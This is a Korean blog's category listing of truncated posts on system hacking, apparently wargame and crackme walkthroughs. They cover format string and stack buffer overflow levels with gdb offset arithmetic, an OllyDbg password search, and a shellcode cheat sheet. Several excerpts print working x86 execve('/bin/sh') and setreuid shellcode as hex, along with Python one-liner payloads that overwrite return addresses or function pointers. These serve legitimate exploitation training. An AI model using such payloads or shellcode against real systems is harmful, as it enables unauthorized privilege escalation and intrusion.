목록시스템 해킹 (23)
ii4gsp
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/boFkq4/btqA9AZQZ8C/eAuDhSkmKuoNfZtHGWB4wK/img.png)
bleh의 버퍼는 80byte의 크기인데 fgets() 함수로 버퍼를 79byte만큼 입력을받아 버퍼 오버플로우는 힘들것 같다. 하지만 printf() 함수에서 포맷스트링 버그가 일어난다. 서식문자를 입력하니 메모리를 읽어서 출력한다. 문자와 서식문자를 같이 입력하니 입력한 A의 값 41414141이 보인다. gdb로 disas main을하니 main symbol을 찾을 수 없다고 한다. .dtors를 활용 하면 될 것 같다. gcc는 컴파일 할 때 .ctors와 .dtors 두 세그먼트를 생성한다. .ctors는 main() 전에 실행되고 .dtors는 main() 종료 후에 실행된다. main()이 종료되고 .dtors함수가 실행되기 전에 쉘 코드 주소 넣으면 된다. .dtors 세그먼트의 주소는 0..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/WvBoF/btqA6oEV9bf/bcl4yjMNCyejKwIsrEX49k/img.png)
소스코드가 아주 짧아졌다. gets()함수에서 취약점이 발생한다. gdb로 파일을 열고 disas main을해주고 를 보면 0xffffffd8은 2진수로 1101 1000인데 1의 보수를 해주면 0010 0111이되고 2의 보수를 해주면 +1이 되니 40이된다 buf에서 ebp까지의 거리는 40이다. buf에서 ret까지의 거리는 44가된다 44byte의 값을 채워주고 쉘코드를 넣으면될것 이다. #include int main() { printf("%p\n", getenv("shellcode")); return 0; } shellcode의 주소를 알아내기 위해 c언어로 코드를 작성해주었다. setreuid함수가 없어서 setreuid가 포함된 41byte 쉘코드를 환경변수에 등록하였다. 환경변수 expo..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/dW0UbD/btqA2ORe1cl/xSpyUtSKmHaKP2lTbq5CD1/img.png)
level16과 비슷하다 shell을 실행시키는 함수 부분이 없다. 쉘 코드를 환경변수에 등록하여 문제를 풀면 될 것 같다. - 0xffffffc8은 [ebp-56]이다. buf에서 ebp까지의 거리다. - 0xfffffff0은 [ebp-16]이다. call에서 ebp까지의 거리다. buf에서 call까지의 거리 = 56 - 16 = 40 export shellcode=$(python -c 'print "\x90" * 20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') 쉘 코드를 환경변수에 등록해주고 #include int main() { printf("%p\n..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/duzLVt/btqA050sCDd/4nnjckbrK8WCEt1JgcNblK/img.png)
fgets()함수때문에 ret조작은 불가능하고 *call의 주소 값을 shell함수 주소로 조작해주면 될 것 같다. - 0xffffffc8은 [ebp-56] 즉, buf에서 ebp까지의 거리는 56이다. - 0xfffffff0은 [ebp-16] call에서 ebp까지의 거리는 16이다. buf에서 call까지의 거리는 56 - 16 = 40 shell함수의 시작 주소는 0x080484d0이다 buf ~ call까지의 거리를 쓰레기 값으로 덮어주고 + shell함수 주소를 리틀 엔디언 방식으로 덮어주면 될 것이다. payload (python -c 'print "\x90" * 40 + "\xd0\x84\x04\x08"';cat) | ./attackme
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/vQ54b/btqA4z6RQuR/8fd0ADDK9s4ATwAFHdGxKK/img.png)
힌트파일을 보면 level14문제에서 보았던 check변수를 포인터로 바뀐것을 알 수 있다. 포인터 변수는 메모리의 주소 값을 저장하는 변수이기 때문에 check변수에 들어가는 값은 메모리 주소의 값이 저장된다. - 0xffffffc8은 ebp-56이다. - 0xfffffff0은 ebp-16이다. 따라서 buf에서 *check까지의 거리는 56 - 16 = 40 40byte라는 빈공간을 채워줘야 할 것이다. - 0xdeadbeef와 *check 포인터가 값을 비교한다. 메모리 상에서 0xdeadbeef의 주소를 알아내 *check의 주소를 0xdeadbeef의 주소로 덮어 씌우면 쉘이 실행될 것이다. 0x080484b2가 0xdeadbeef의 메모리 상의 주소이다. 이제 페이로드를 작성할 수 있을 것이다..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/7niaU/btqA04NTZuo/Nwt63KONs8hgUhzNHZA4k0/img.png)
힌트를 보면 gets()함수가 아닌 fgets()함수를 써서 45byte만큼의 입력만 받아 ret변조를 불가능하게 만들어뒀다. check의 값을 0xdeadbeef로 변조를해서 쉘을 실행시켜야한다. attackme를 tmp에 복사하고 gdb로 분석을 해보자 에서 0x38만큼 할당해주었다. 0x38은 10진수로 56byte이다. crap[4byte] + check[4byte] + buf[20byte] = 28byte 컴파일러가 생성한 dummy는 28byte이다. 에서 0xffffffc8은 2진수로 1100 1000인데 1의 보수를 해주면 0011 0111에서 2의 보수를 구하면 +1이 되니 56이된다. ebp-56 위치 주소를 eax로 옮기는 걸 알 수 있다. 에서 eax를 스택에 올리고 fgets()함..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/cAZkPK/btqA06xV3BL/sjpzDoKLkMlAOQmLkr14MK/img.png)
문제를 보니 스트링 비교함수를 찾아내는것 같다. 프로그램을 실행하여 Regcode부분에 임의의 값을 넣어보자 에러 문자가 뜨는것을 볼수있다. 올리디버거로 파일을 열고 문자열 비교함수 찾아보자. 우클릭을 눌러 Search for -> All intermodular calls를 눌러주면 해당 프로그램에서 쓰고있는 함수들을 볼수있다. StrCmp이라는 문자열 비교함수를 찾을수있다. 더블클릭을 하면 StrCmp함수가 사용되고있는 부분으로 이동한다. "2G83G35Hs2"를 push하고 StrCmp함수를 호출하여 문자열을 비교한다. "2G83G35Hs2"를 패스워드에 입력해보자. 해석) 감사합니다, 비밀번호가 맞습니다 성공
6byte 쉘코드 exit() 포함 \x31\xc0\xb0\x01\xcd\x80 16byte 쉘코드 setreuid(geteuid(),geteuid()) 코드 \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80 25byte 쉘코드 (제일 많이 쓰임) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 31byte 쉘코드 exit() 포함 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80..